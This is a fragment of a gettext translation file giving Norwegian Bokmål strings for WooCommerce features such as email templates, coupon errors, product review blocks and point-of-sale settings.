#: src/Internal/EmailEditor/Integration.php:141
msgid "Edit Email"
msgstr "Rediger e-post"
#: src/Internal/EmailEditor/Integration.php:140
msgid "Add Email"
msgstr "Legg til e-post"
#. translators: %s will be replaced by comma-separated email addresses. For
#. example, "invalidemail1@example.com,invalidemail2@example.com".
#: src/Internal/EmailEditor/EmailApiController.php:178
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
msgid "One or more BCC email addresses are invalid: “%s”. Please enter valid email addresses separated by commas."
msgstr "En eller flere e-postadresser for kopier er ugyldig: «%s». Fyll inn gyldige e-postadresser atskilt med komma."
#. translators: %s will be replaced by comma-separated email addresses. For
#. example, "invalidemail1@example.com,invalidemail2@example.com".
#: src/Internal/EmailEditor/EmailApiController.php:167
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
msgid "One or more CC email addresses are invalid: “%s”. Please enter valid email addresses separated by commas."
msgstr "En eller flere e-postadresser for blindkopier er ugyldig: «%s». Fyll inn gyldige e-postadresser atskilt med komma."
#. translators: %s will be replaced by comma-separated email addresses. For
#. example, "invalidemail1@example.com,invalidemail2@example.com".
#: src/Internal/EmailEditor/EmailApiController.php:156
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
msgid "One or more Recipient email addresses are invalid: “%s”. Please enter valid email addresses separated by commas."
msgstr "En eller flere e-postadresser for mottaker er ugyldig: «%s». Fyll inn gyldige e-postadresser atskilt med komma."
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:509
msgid "Unable to create HPOS tables for synchronization."
msgstr "Kunne ikke opprette HPOS-tabeller for synkronisering."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:509
msgid "Keep your store online with full security and backups"
msgstr "Hold butikken på nett med full sikkerhet og sikkerhetskopier"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:507
msgid "Protect your store and your shoppers with Jetpack"
msgstr "Beskytt butikken og kundene med Jetpack"
#: src/Internal/Admin/Emails/EmailListingRestController.php:199
msgid "Error unable to generate email post."
msgstr "Feil ved generering av e-postinnlegg."
#. translators: %s: WooCommerce transactional email ID.
#: src/Internal/Admin/Emails/EmailListingRestController.php:193
msgid "Email post generated for %s."
msgstr "E-postinnlegg generert for %s."
#. translators: %s: Error message.
#: src/Internal/Admin/Emails/EmailListingRestController.php:185
msgid "Error generating email post. Error: %s."
msgstr "Feil ved generering av e-postinnlegg. Feil: %s."
#: src/Internal/Admin/Emails/EmailListingRestController.php:124
msgid "The post ID of the generated email post."
msgstr "Innleggs-id for det genererte e-postinnlegget."
#. translators: 1: Product title 2: Image number
#: src/Blocks/Utils/ProductGalleryUtils.php:94
msgid "%1$s - Image %2$d"
msgstr "%1$s - Bilde %2$d"
#. translators: %1$s: Product filter name, %2$d: Number of products
#: src/Blocks/BlockTypes/ProductFilterCheckboxList.php:159
#: src/Blocks/BlockTypes/ProductFilterChips.php:139
msgid "%1$s (%2$d product)"
msgid_plural "%1$s (%2$d products)"
msgstr[0] "%1$s (%2$d produkt)"
msgstr[1] "%1$s (%2$d produkter)"
#: src/Blocks/BlockTypes/ProductButton.php:180
#: src/Blocks/BlockTypes/ProductButton.php:367
msgid "Added to cart"
msgstr "Lagt til i handlekurven"
#. translators: %s is the name of the product in cart.
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:56
msgid "Quantity of %s in your cart"
msgstr "Antall av %s i din handlekurv."
#: src/Admin/Features/OnboardingTasks/Tasks/Payments.php:63
msgid "5 minutes"
msgstr "5 minutter"
#. translators: 1: price from 2: price to
#: includes/wc-formatting-functions.php:1389
msgid "Price range: %1$s through %2$s"
msgstr "Prisområde: %1$s til %2$s"
#. translators: 1: price from 2: price to
#: includes/wc-formatting-functions.php:1385
msgctxt "Price range: from-to"
msgid "%1$s <span aria-hidden=\"true\">–</span> %2$s"
msgstr "%1$s <span aria-hidden=\"true\">–</span> %2$s"
#: includes/emails/class-wc-email-new-order.php:59
msgid "Receive an email notification every time a new order is placed"
msgstr "Motta en e-postmelding hver gang en ny ordre legges inn"
#. translators: %1$s: Store name, %2$s: Order number
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:86
msgid "Your %1$s order #%2$s has been refunded"
msgstr "Din ordre nr. %2$s hos %1$s har blitt refundert"
#. translators: %1$s: Store name, %2$s: Order number
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:83
msgid "Your %1$s order #%2$s has been partially refunded"
msgstr "Din ordre nr. %2$s hos %1$s har blitt delvis refundert"
#: includes/emails/class-wc-email-customer-pos-completed-order.php:109
msgid "Thank you for your in-store purchase"
msgstr "Takk for kjøpet ditt i butikken"
#. translators: %1$s: Order number, %2$s: Store name
#: includes/emails/class-wc-email-customer-pos-completed-order.php:99
msgid "Your in-store purchase #%1$s at %2$s"
msgstr "Ditt kjøp i butikken med nr. %1$s hos %2$s"
#: includes/emails/class-wc-email-customer-on-hold-order.php:51
msgid "Send an email to customers notifying them when their order has been placed on hold"
msgstr "Send en e-post til kundene for å varsle dem om at ordren deres er satt på vent"
#: includes/emails/class-wc-email-customer-note.php:56
msgid "Send an email to customers notifying them when you’ve added a note to their order"
msgstr "Send en e-post til kundene for å varsle dem når det legges til et notat på ordren deres"
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1048 includes/class-wc-discounts.php:610
msgid "Coupon \"%s\" cannot be applied because it does not exist."
msgstr "Rabattkoden «%s» kan ikke brukes fordi den ikke finnes."
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1041
msgid "Coupon \"%s\" cannot be applied because it is not valid."
msgstr "Rabattkoden «%s» kan ikke brukes fordi den er ugyldig."
#: includes/class-wc-coupon.php:748
msgid "Invalid maximum spend value."
msgstr "Ugyldig verdi for maksimal bruk."
#: includes/admin/settings/class-wc-settings-point-of-sale.php:110
#: templates/emails/block/general-block-email.php:164
#: templates/emails/customer-pos-completed-order.php:111
#: templates/emails/customer-pos-refunded-order.php:122
#: templates/emails/plain/customer-pos-completed-order.php:99
#: templates/emails/plain/customer-pos-refunded-order.php:106
msgid "Refund & Returns Policy"
msgstr "Retningslinjer for refusjon og retur"
#: includes/admin/settings/class-wc-settings-point-of-sale.php:102
msgid "Your store contact email."
msgstr "E-postadressen til butikken."
#: includes/admin/settings/class-wc-settings-point-of-sale.php:84
msgid "Physical address"
msgstr "Fysisk adresse"
#: includes/admin/settings/class-wc-settings-point-of-sale.php:76
msgid "The name of your physical store."
msgstr "Navnet på den fysiske butikken."
#: includes/admin/settings/class-wc-settings-point-of-sale.php:75
msgid "Store name"
msgstr "Butikknavn"
#: i18n/countries.php:243
msgid "Türkiye"
msgstr "Tyrkia"
#: includes/admin/views/html-admin-page-status-report.php:257
msgid "Unable to determine server architecture. Please ask your hosting provider for this information."
msgstr "Kan ikke fastslå serverarkitekturen. Spør nettverten om denne informasjonen."
#: includes/admin/helper/class-wc-helper.php:111
msgid "Some subscription data may be temporarily unavailable. Please refresh the page in a few minutes to try again."
msgstr "Noen abonnementsdata kan være midlertidig utilgjengelige. Oppdater siden om noen minutter for å prøve igjen."
#: includes/admin/helper/class-wc-helper.php:110
msgid "We’re having trouble connecting to WooCommerce.com"
msgstr "Vi har problemer med å koble til WooCommerce.com"
#: assets/client/blocks/reviews-by-product/block.json
msgctxt "block description"
msgid "Display reviews for your products."
msgstr "Vis omtaler for produktene."
#: assets/client/blocks/reviews-by-product/block.json
msgctxt "block title"
msgid "Reviews by Product"
msgstr "Omtaler etter produkt"
#: assets/client/blocks/reviews-by-category/block.json
msgctxt "block description"
msgid "Show product reviews from specific categories."
msgstr "Vis produktomtaler fra bestemte kategorier."
#: assets/client/blocks/reviews-by-category/block.json
msgctxt "block title"
msgid "Reviews by Category"
msgstr "Omtaler etter kategori"
#: assets/client/blocks/product-title/block.json
msgctxt "block description"
msgid "Display the title of a product."
msgstr "Vis navnet for produktet."
#: assets/client/blocks/product-title/block.json
msgctxt "block title"
msgid "Product Title"
msgstr "Produktnavn"
#: assets/client/blocks/product-stock-indicator/block.json
msgctxt "block description"
msgid "Let shoppers know when products are out of stock or on backorder. This block is hidden when products are in stock."
msgstr "Informer kundene når produkter er utsolgt eller i restordre. Denne blokken er skjult når produktene er på lager."
#: assets/client/blocks/product-stock-indicator/block.json
msgctxt "block title"
msgid "Product Stock Indicator"
msgstr "Indikator for produktlager"
#: assets/client/blocks/product-specifications/block.json
msgctxt "block keyword"
msgid "additional information"
msgstr "tilleggsinformasjon"
#: assets/client/blocks/product-specifications/block.json
msgctxt "block keyword"
msgid "weight"
msgstr "vekt"
#: assets/client/blocks/product-specifications/block.json
msgctxt "block description"
msgid "Display product weight, dimensions, and attributes."
msgstr "Vis produktvekt, dimensjoner og attributter."
#: assets/client/blocks/product-specifications/block.json
msgctxt "block title"
msgid "Product Specifications"
msgstr "Produktspesifikasjoner"
#: assets/client/blocks/product-sku/block.json
msgctxt "block description"
msgid "Displays the SKU of a product."
msgstr "Vis produktnummeret for produktet."
#: assets/client/blocks/product-sku/block.json
msgctxt "block title"
msgid "Product SKU"
msgstr "Produktnummer"
#: assets/client/blocks/product-reviews-title/block.json
msgctxt "block description"
msgid "Displays a title with the number of reviews."
msgstr "Viser en tittel med antall omtaler."
#: assets/client/blocks/product-reviews-title/block.json
msgctxt "block title"
msgid "Reviews Title"
msgstr "Omtaletittel"
#: assets/client/blocks/product-reviews-pagination/block.json
msgctxt "block description"
msgid "Displays a paginated navigation to next/previous set of product reviews, when applicable."
msgstr "Viser en sideinndelt navigasjon til neste/forrige sett med produktomtaler, der det er aktuelt."
#: assets/client/blocks/product-reviews-pagination/block.json
msgctxt "block title"
msgid "Reviews Pagination"
msgstr "Sidenavigering for omtaler"
#: assets/client/blocks/product-reviews-pagination-previous/block.json
msgctxt "block description"
msgid "Displays the previous product review's page link."
msgstr "Viser lenke til forrige produktomtaleside."
#: assets/client/blocks/product-reviews-pagination-previous/block.json
msgctxt "block title"
msgid "Reviews Previous Page"
msgstr "Forrige omtaleside"
#: assets/client/blocks/product-reviews-pagination-numbers/block.json
msgctxt "block description"
msgid "Displays a list of page numbers for product reviews pagination."
msgstr "Viser en liste med sidenummer for navigering i produktomtaler."
#: assets/client/blocks/product-reviews-pagination-numbers/block.json
msgctxt "block title"
msgid "Reviews Page Numbers"
msgstr "Sidenummer for omtaler"
#: assets/client/blocks/product-reviews-pagination-next/block.json
msgctxt "block description"
msgid "Displays the next product review's page link."
msgstr "Viser lenke til neste produktomtaleside."
#: assets/client/blocks/product-reviews-pagination-next/block.json
msgctxt "block title"
msgid "Reviews Next Page"
msgstr "Neste omtaleside"
#: assets/client/blocks/product-review-template/block.json
msgctxt "block title"
msgid "Reviews Template"
msgstr "Omtalemal"
#: assets/client/blocks/product-review-rating/block.json
msgctxt "block description"
msgid "Displays the rating of a product review."
msgstr "Viser vurderingen for en produktomtale."
#: assets/client/blocks/product-review-rating/block.json
msgctxt "block title"
msgid "Review Rating"
msgstr "Vurdering"
#: assets/client/blocks/product-review-form/block.json
msgctxt "block description"
msgid "Display a product's reviews form."
msgstr "Vis et produktomtaleskjema."
#: assets/client/blocks/product-review-form/block.json
msgctxt "block title"
msgid "Reviews Form"
msgstr "Omtaleskjema"
#: assets/client/blocks/product-review-date/block.json
msgctxt "block description"
msgid "Displays the date on which the review was posted."
msgstr "Viser datoen da omtalen ble sendt inn."
#: assets/client/blocks/product-on-sale/block.json
msgctxt "block title"
msgid "On Sale Products"
msgstr "Produkter på tilbud"
#: assets/client/blocks/product-filters/block.json
msgctxt "block title"
msgid "Product Filters"
msgstr "Produktfiltre"
#: assets/client/blocks/product-filter-clear-button/block.json
msgctxt "block title"
msgid "Clear filters"
msgstr "Tøm filtre"
#: assets/client/blocks/product-description/block.json
msgctxt "block description"
msgid "Displays the description of the product."
msgstr "Viser beskrivelsen av produktet."
#: assets/client/blocks/product-description/block.json
msgctxt "block title"
msgid "Product Description"
msgstr "Produktbeskrivelse"
#: assets/client/blocks/product-reviews/block.json
msgctxt "block description"
msgid "Display a product's reviews"
msgstr "Vis et produkts omtaler"
#: assets/client/blocks/all-reviews/block.json
msgctxt "block description"
msgid "Show a list of all product reviews."
msgstr "Vis en liste over alle produktomtaler."
#: assets/client/blocks/all-reviews/block.json
msgctxt "block title"
msgid "All Reviews"
msgstr "Alle omtaler"
#: assets/client/blocks/product-review-date.js:1
#: assets/client/blocks/product-review-date/block.json
msgctxt "block title"
msgid "Review Date"
msgstr "Omtaledato"
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationEmail.php:288
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifiedEmail.php:250
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:274
msgid "Email content"
msgstr "E-postinnhold"
#: templates/emails/block/customer-processing-order.php:38
#: templates/emails/customer-processing-order.php:43
#: templates/emails/plain/customer-processing-order.php:31
msgid "Just to let you know — we’ve received your order, and it is now being processed."
msgstr "Til informasjon er din ordre mottatt, og behandles nå."
#. translators: %s: Store admin email
#: templates/emails/block/customer-refunded-order.php:58
msgid "If you need any help with your order, please contact us at %s"
msgstr "Hvis du trenger hjelp med ordren får du gjerne kontakte oss på %s."
#. translators: %s: Order number
#: templates/emails/block/customer-pos-refunded-order.php:29
#: templates/emails/block/customer-refunded-order.php:29
msgid "Order refunded: %s"
msgstr "Ordre refundert: %s"
#. translators: %s: Store admin email
#: templates/emails/block/customer-note.php:60
#: templates/emails/block/customer-processing-order.php:52
msgid "Thanks again! If you need any help with your order, please contact us at %s,"
msgstr "Takk igjen. Hvis du trenger hjelp med ordren får du gjerne kontakte oss på %s."
#. translators: %s: order number
#: templates/emails/block/customer-invoice.php:29
msgid "Details for order #%s,"
msgstr "Detaljer for ordrenr. %s,"
#. translators: %s: Store admin email
#: templates/emails/block/customer-failed-order.php:59
msgid "If you need any help with your order, please contact us at %s."
msgstr "Hvis du trenger hjelp får du gjerne kontakte oss på %s."
#. translators: %s: Store admin email
#: templates/emails/block/customer-completed-order.php:52
#: templates/emails/block/customer-invoice.php:47
#: templates/emails/block/customer-on-hold-order.php:52
#: templates/emails/block/default-block-content.php:42
msgid "Thanks again! If you need any help with your order, please contact us at %s."
msgstr "Takk igjen. Hvis du trenger hjelp med ordren din får du gjerne kontakte oss på %s."
#. translators: %s: Customer full name
#: templates/emails/block/admin-new-order.php:36
msgid "You’ve received a new order from %s"
msgstr "Du har mottatt en ny ordre fra %s"
#. translators: %s: order number
#: templates/emails/block/admin-new-order.php:29
msgid "New order: #%s,"
msgstr "Ny ordre: %s"
#. translators: %s: order number
#: templates/emails/block/admin-failed-order.php:29
msgid "Order failed: #%s,"
msgstr "Ordre mislyktes: %s"
#. translators: %s: order number
#: templates/emails/block/admin-cancelled-order.php:29
msgid "Order cancelled: #%s,"
msgstr "Ordre kanselleret: %s"
#. translators: %s Coupon codes.
#: src/StoreApi/Utilities/OrderController.php:318
msgid "Invalid coupons were removed from the order: \"%s\""
msgstr "Ugyldige rabattkoder ble fjernet fra ordren: «%s»"
#. translators: %1$s Coupon codes, %2$s Reason
#: src/StoreApi/Utilities/OrderController.php:304
msgid "\"%1$s\" was removed from the order. %2$s"
msgstr "«%1$s» ble fjernet fra ordren. %2$s"
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:89
msgid "My Account URL"
msgstr "Nettadresse til «Min konto»"
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:57
msgid "Store Name"
msgstr "Butikknavn"
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:43
msgid "Store URL"
msgstr "Butikkens nettadresse"
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:28
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:45
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:59
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:77
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:91
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:105
msgid "Store"
msgstr "Butikk"
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:26
msgid "Store Email"
msgstr "Butikkens e-post"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:190
msgid "Payment URL"
msgstr "Nettadresse for betaling"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:105
msgid "Order Tax"
msgstr "Ordreavgift"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:88
msgid "Order Subtotal"
msgstr "Ordredelsum"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:67
#: assets/client/admin/wp-admin-scripts/fulfillments.js:2
msgid "Order Items"
msgstr "Ordreelementer"
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:119
msgid "Customer Country"
msgstr "Kundens land"
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:102
msgid "Customer Username"
msgstr "Kundens brukernavn"
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:81
msgid "Customer Full Name"
msgstr "Kundens fulle navn"
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:62
msgid "Customer Last Name"
msgstr "Kundens etternavn"
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:43
msgid "Customer First Name"
msgstr "Kundens fornavn"
#: src/Internal/CostOfGoodsSold/CostOfGoodsSoldController.php:57
msgid "Allows entering cost of goods sold information for products."
msgstr "Tillater at det legges inn informasjon om produktkostnad for produkter."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:500
msgid "Save on shipping with WooCommerce Shipping"
msgstr "Spar penger på levering med WooCommerce Shipping"
#: includes/admin/settings/class-wc-settings-point-of-sale.php:30
#: src/Internal/Admin/Orders/ListTable.php:611
#: src/Internal/Features/FeaturesController.php:511
#: src/Internal/Traits/OrderAttributionMeta.php:318
msgid "Point of Sale"
msgstr "Kassasystem"
#: src/Internal/Admin/Notes/EmailImprovements.php:78
#: assets/client/admin/chunks/homescreen.js:1
msgid "Try the new templates"
msgstr "Prøv de nye malene"
#: src/Internal/Admin/Notes/EmailImprovements.php:72
msgid "We’ve made some exciting improvements to our email templates, including modern, shopper-friendly designs and new customization options. And if you’re using a block theme, you can automatically sync your theme styles! Head to your email settings to explore the new features."
msgstr "Vi har gjort noen spennende forbedringer i e-postmalene, inkludert moderne og kundevennlig design, samt nye tilpasningsmuligheter. Og hvis du bruker et blokktema, kan du nå også automatisk synkronisere temastilene. Gå til e-postinnstillingene for å utforske de nye funksjonene."
#: src/Internal/Admin/Notes/EmailImprovements.php:71
#: assets/client/admin/chunks/homescreen.js:1
msgid "Store emails have had an upgrade!"
msgstr "Butikkens e-post har fått en oppgradering."
#: src/Internal/Admin/Notes/EmailImprovements.php:58
#: assets/client/admin/chunks/homescreen.js:1
msgid "Customize your emails"
msgstr "Tilpass e-postene dine"
#: src/Internal/Admin/Notes/EmailImprovements.php:51
#: assets/client/admin/chunks/homescreen.js:1
msgid "Your store emails have had an upgrade!"
msgstr "E-postene i butikken har fått en oppgradering."
#: src/Blocks/Utils/ProductGalleryUtils.php:17
#: src/Blocks/Utils/ProductGalleryUtils.php:114
msgid "Invalid product object."
msgstr "Ugyldig produktobjekt."
#. Translators: %s is the formatted price.
#: src/Blocks/Shipping/ShippingController.php:185
msgid "Pickup cost: %s"
msgstr "Hentekostnad: %s"
#. translators: %s: Number of reviews.
#: src/Blocks/BlockTypes/Reviews/ProductReviewsTitle.php:60
#: assets/client/blocks/product-reviews-title.js:5
msgid "One review"
msgstr "Én omtale"
#. translators: %s: Product title.
#: src/Blocks/BlockTypes/Reviews/ProductReviewsTitle.php:52
#: assets/client/blocks/product-reviews-title.js:5
msgid "Reviews for %s"
msgstr "Omtaler for %s"
#. translators: %s: Product title.
#: src/Blocks/BlockTypes/Reviews/ProductReviewsTitle.php:49
#: assets/client/blocks/product-reviews-title.js:4
msgid "Review for %s"
msgstr "Omtale for %s"
#: src/Blocks/BlockTypes/Reviews/ProductReviewsPaginationPrevious.php:26
#: assets/client/blocks/product-reviews-pagination-previous.js:1
msgid "Older Reviews"
msgstr "Eldre omtaler"
#: src/Blocks/BlockTypes/Reviews/ProductReviewsPaginationNext.php:33
#: assets/client/blocks/product-reviews-pagination-next.js:1
msgid "Newer Reviews"
msgstr "Nyere omtaler"
#. translators: %s: human-readable time difference.
#: src/Blocks/BlockTypes/Reviews/ProductReviewDate.php:40
msgid "%s ago"
msgstr "%s siden"
#: src/Blocks/BlockTypes/Reviews/ProductReviewContent.php:55
msgid "Your review is awaiting moderation. This is a preview; your review will be visible after it has been approved."
msgstr "Omtalen din venter på godkjenning, den blir synlig etter at den har blitt godkjent. Dette er en forhåndsvisning."
#: src/Blocks/BlockTypes/Reviews/ProductReviewContent.php:53
msgid "Your review is awaiting moderation."
msgstr "Omtalen din venter på godkjenning."
#: src/Admin/Features/Blueprint/RestApi.php:376
msgid "Whether blueprint imports are currently allowed"
msgstr "Om import av blåkopier er tillatt for øyeblikket"
#: src/Admin/Features/Blueprint/RestApi.php:280
msgid "Blueprint imports are disabled"
msgstr "Import av blåkopier er slått av"
#: src/Admin/Features/Blueprint/RestApi.php:167
msgid "Sorry, you cannot import WooCommerce Blueprints."
msgstr "Beklager, du kan ikke importere blåkopier for WooCommerce."
#: src/Admin/Features/Blueprint/RestApi.php:152
msgid "Sorry, you cannot export WooCommerce Blueprints."
msgstr "Beklager, du kan ikke eksportere blåkopier for WooCommerce."
#: src/Admin/Features/Blueprint/Init.php:217
msgid "Includes all the installed plugins."
msgstr "Inkluderer alle installerte utvidelser."
#. translators: %s: coupon code.
#: includes/wc-cart-functions.php:322
msgid "Remove %s coupon"
msgstr "Fjern rabattkoden «%s»"
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1598
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1604
msgid "Brand slug."
msgstr "Merkeidentifikator."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1592
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1598
msgid "Brand name."
msgstr "Merkenavn."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1587
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1593
msgid "Brand ID."
msgstr "Merke-id."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1580
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1586
msgid "List of brands."
msgstr "Liste over merker."
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-refunds-controller.php:188
msgid "Value of the Cost of Goods Sold for the refund item."
msgstr "Verdien av produktkostnad for det refunderte produktet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-refunds-controller.php:183
msgid "Cost of Goods Sold data. Only present for product refund line items."
msgstr "Produktkostnaddata. Bare tilgjengelig for refunderte produktlinjer."
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-refunds-controller.php:174
msgid "Total value of the Cost of Goods Sold for the refund."
msgstr "Total verdi av produktkostnaden for refunderingen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:673
msgid "Enabled features."
msgstr "Påslåtte funksjoner."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:222
msgid "Server architecture."
msgstr "Serverarkitektur."
#: includes/emails/class-wc-email-customer-pos-completed-order.php:343
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:505
msgid "Time of payment:"
msgstr "Tidspunkt for betaling:"
#. translators: %s = formatted cost with currency symbol.
#: includes/class-wc-order-item.php:618
msgid "Cost per unit: %s"
msgstr "Kostnad per enhet: %s"
#. translators: "%1$s": coupon code, %2$s: categories list
#. translators: %1$s: coupon code, %2$s: categories list
#: includes/class-wc-coupon.php:1197 includes/class-wc-discounts.php:1030
msgid "Sorry, coupon \"%1$s\" is not applicable to the categories: %2$s."
msgstr "Beklager, rabattkoden «%1$s» kan ikke brukes på kategoriene: %2$s."
#. translators: %1$s: coupon code, %2$s: products list
#: includes/class-wc-coupon.php:1173 includes/class-wc-discounts.php:982
msgid "Sorry, coupon \"%1$s\" is not applicable to the products: %2$s."
msgstr "Beklager, rabattkoden «%1$s» kan ikke brukes på produktene: %2$s"
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1156
msgid "Usage limit for coupon \"%s\" has been reached. Please try again after some time, or contact us for help."
msgstr "Bruksgrensen er nådd for rabattkoden «%s». Prøv på nytt etter en stund, eller kontakt oss for å få hjelp."
#. translators: %1$s: coupon code, %2$s: coupon maximum amount
#: includes/class-wc-coupon.php:1129 includes/class-wc-discounts.php:782
msgid "The maximum spend for coupon \"%1$s\" is %2$s."
msgstr "Maksimum bruksbeløp for rabattkoden «%1$s» er %2$s."
#. translators: %1$s: coupon code, %2$s: coupon minimum amount
#. translators: %1$s: coupon code, %2$s: coupon minimum amount
#: includes/class-wc-coupon.php:1114 includes/class-wc-discounts.php:749
msgid "The minimum spend for coupon \"%1$s\" is %2$s."
msgstr "Minimum bruksbeløp for rabattkoden «%1$s» er %2$s."
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1100 includes/class-wc-discounts.php:717
msgid "Coupon \"%s\" has expired."
msgstr "Rabattkoden «%s» har utløpt."
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1093
msgid "Usage limit for coupon \"%s\" has been reached."
msgstr "Bruksgrensen er nådd for rabattkoden «%s»."
#: includes/admin/views/html-admin-page-status-report.php:792
msgid "Features that are currently enabled."
msgstr "Funksjoner som for øyeblikket er slått på."
#: includes/admin/views/html-admin-page-status-report.php:791
msgid "Enabled features:"
msgstr "Påslåtte funksjoner:"
#: includes/admin/views/html-admin-page-status-report.php:256
msgid "Information about the operating system your server is running."
msgstr "Informasjon om operativsystemet serveren kjører."
#: includes/admin/views/html-admin-page-status-report.php:255
msgid "Server architecture"
msgstr "Serverarkitektur"
#: includes/admin/views/html-admin-page-product-export.php:67
msgid "This tool allows you to generate and download a CSV file containing the selected products."
msgstr "Dette verktøyet lar deg generere og laste ned en CSV-fil som inneholder de valgte produktene."
#. translators: %1$d: Number of products, %2$s: URL to clear selection.
#: includes/admin/views/html-admin-page-product-export.php:36
msgid "You are about to export %1$d product. To export all products, <a href=\"%2$s\">clear your selection</a>."
msgid_plural "You are about to export %1$d products. To export all products, <a href=\"%2$s\">clear your selection</a>."
msgstr[0] "Du er i ferd med å eksportere %1$d produkt. For å eksportere alle produkter, <a href=\"%2$s\">tøm valget ditt</a>."
msgstr[1] "Du er i ferd med å eksportere %1$d produkter. For å eksportere alle produkter, <a href=\"%2$s\">tøm valget ditt</a>."
#: includes/admin/settings/class-wc-settings-shipping.php:131
msgid "Hide shipping rates when free shipping is available"
msgstr "Skjul fraktpriser når gratis frakt er tilgjengelig"
#: includes/admin/settings/class-wc-settings-emails.php:866
msgid "Revert to legacy template"
msgstr "Gå tilbake til eldre mal"
#: includes/admin/settings/class-wc-settings-emails.php:864
msgid "Are you sure want to revert to legacy? Doing so will erase any changes you’ve made to your new email templates, and will restore your previous email designs."
msgstr "Er du sikker på at du vil gå tilbake til den gamle versjonen? Hvis du gjør det slettes alle endringer som er gjort i de nye e-postmalene, og de tidligere e-postdesignene gjenopprettes."
#: includes/admin/settings/class-wc-settings-emails.php:848
msgid "Try our new email templates!"
msgstr "Prøv våre nye e-postmaler."
#: includes/admin/settings/class-wc-settings-emails.php:825
msgid "Keep legacy template"
msgstr "Behold gammel mal"
#: includes/admin/settings/class-wc-settings-emails.php:822
msgid "Switch to new template"
msgstr "Bytt til ny mal"
#: includes/admin/settings/class-wc-settings-emails.php:819
msgid "Previewing new template designs. You can customize and test your emails and switch to the new template whenever you are ready."
msgstr "Forhåndsvisning av nye malutforminger. Du kan tilpasse og teste e-postene, og bytte til den nye malen når du er klar."
#: includes/admin/settings/class-wc-settings-emails.php:316
msgid "Email improvements button"
msgstr "Knapp for e-postforbedringer"
#: includes/admin/settings/class-wc-settings-emails.php:168
msgid "Try new templates"
msgstr "Prøv nye maler"
#: includes/admin/meta-boxes/views/html-variation-admin.php:227
msgid "You can specify a <a href=\"#\" class=\"switch-to-general-tab\">default value</a> for all variations"
msgstr "Du kan angi en <a href=\"#\" class=\"switch-to-general-tab\">standardverdi</a> for alle varianter"
#: includes/admin/meta-boxes/views/html-order-items.php:296
msgid "Cost Total"
msgstr "Totalkostnad"
#. translators: 1: WooCommerce.com connection URL, 2: home URL
#: includes/admin/helper/class-wc-woo-helper-connection.php:41
msgid "Your site is currently connected to WooCommerce.com using <b>%1$s</b>, but your actual site URL is <b>%2$s</b>. To fix this, please reconnect your site to <b>WooCommerce.com</b> to ensure everything works correctly."
msgstr "Nettstedet ditt er for øyeblikket koblet til WooCommerce.com med <b>%1$s</b>, men den faktiske nettadressen for nettstedet er <b>%2$s</b>. For å fikse dette må nettstedet kobles til <b>WooCommerce.com</b> på nytt, for å sikre at alt fungerer som det skal."
#. translators: %d: HTTP status code.
#: includes/admin/helper/class-wc-helper.php:2846
msgid "WooCommerce.com API returned HTTP status code %d."
msgstr "WooCommerce.com API returnerte HTTP-statuskoden %d."
#: includes/admin/helper/class-wc-helper.php:2840
msgid "You have exceeded the request limit. Please try again after a few minutes."
msgstr "Du har overskredet forespørselsgrensen. Forsøk på nytt etter noen minutter."
#: includes/admin/helper/class-wc-helper.php:1731
#: includes/admin/helper/class-wc-helper.php:1884
msgid "WooCommerce.com API returned an invalid response."
msgstr "WooCommerce.com API returnerte et ugyldig svar."
